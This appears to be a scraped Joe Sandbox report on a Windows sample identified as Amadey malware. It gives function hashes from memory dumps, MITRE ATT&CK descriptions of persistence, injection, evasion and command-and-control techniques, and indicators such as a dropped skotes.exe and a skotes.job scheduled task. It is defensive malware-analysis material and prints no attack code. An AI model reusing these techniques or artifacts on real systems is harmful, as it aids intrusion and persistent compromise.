Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ef730016691e79b1537d5fc1d1888c964a115cc7822795fbe007259a05d8dc7e
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: ABE08C32921228EBCB14EFDCD90499AF3ECEB49B10B650096F901D3150C270DE00C7E0

Function 00D62EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D62F5F
__Mtx_unlock.LIBCPMT ref: 00D62FCC
__Cnd_broadcast.LIBCPMT ref: 00D62FE3
__Mtx_unlock.LIBCPMT ref: 00D630F5
__Mtx_unlock.LIBCPMT ref: 00D6319B

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 120ec380e1901edf9c43373c1396d825634afbae8c5a5abaa1b63a50b0a59d05
Instruction ID: c03e3362424558753db1b3492f718260751c8db919c1fdb913ff9d2700481745
Opcode Fuzzy Hash: 120ec380e1901edf9c43373c1396d825634afbae8c5a5abaa1b63a50b0a59d05
Instruction Fuzzy Hash: E6A1C1B0A017059FDB20DF64C945B6AB7B8FF15314F188129E81AD7691FB35EA08CBB1

Function 00D9CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D9CC66

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 254d999fa369d06fd7d93151cbf4a8417e2da6d6341328512c40b930a69fa730
Instruction ID: 444d82082ea2503661b1ed52a5448b01db6e74fd2e3d18b62d1adce693f1c4d7
Opcode Fuzzy Hash: 254d999fa369d06fd7d93151cbf4a8417e2da6d6341328512c40b930a69fa730
Instruction Fuzzy Hash: 74B10332E246459FDF25CF28C881BAEBFE5EF45340F18916AE855EB242D6349D41CB70

Function 00D7BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00D7BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00D7BBE4
_xtime_get.LIBCPMT ref: 00D7BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00D7BC13

Memory Dump Source

Source File: 00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000006.00000002.3378621502.0000000000D60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378692573.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378806124.0000000000DC9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000DCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000000F4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000102D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.000000000105A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001067000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3378866908.0000000001075000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379425764.0000000001076000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379749901.000000000120F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3379849356.0000000001211000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d60000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 0e689964c9e6285ff400b608967780fc3dee30c8eb716f8b45005cb9cc5f5874
Instruction ID: a47c6ff874f9ac8000b9ab7a0e2037555ae8543d3b4a5f8cdfa743337108be1b
Opcode Fuzzy Hash: 0e689964c9e6285ff400b608967780fc3dee30c8eb716f8b45005cb9cc5f5874
Instruction Fuzzy Hash: 64213571911219AFDF01EFA4DC829BEB7B9EF08710F50901AF905B7261EB309D419BB0

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 00D6BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Function 00D65EE0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 340
COMMON

Function 00D67D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Function 00D9D634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Function 00D68380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 00D9D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Function 053E0C64 Relevance: 1.4, Strings: 1, Instructions: 128
COMMON

Function 053E0CD1 Relevance: 1.3, Strings: 1, Instructions: 85
COMMON

Function 00D76C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Function 053E0D01 Relevance: .1, Instructions: 58
COMMON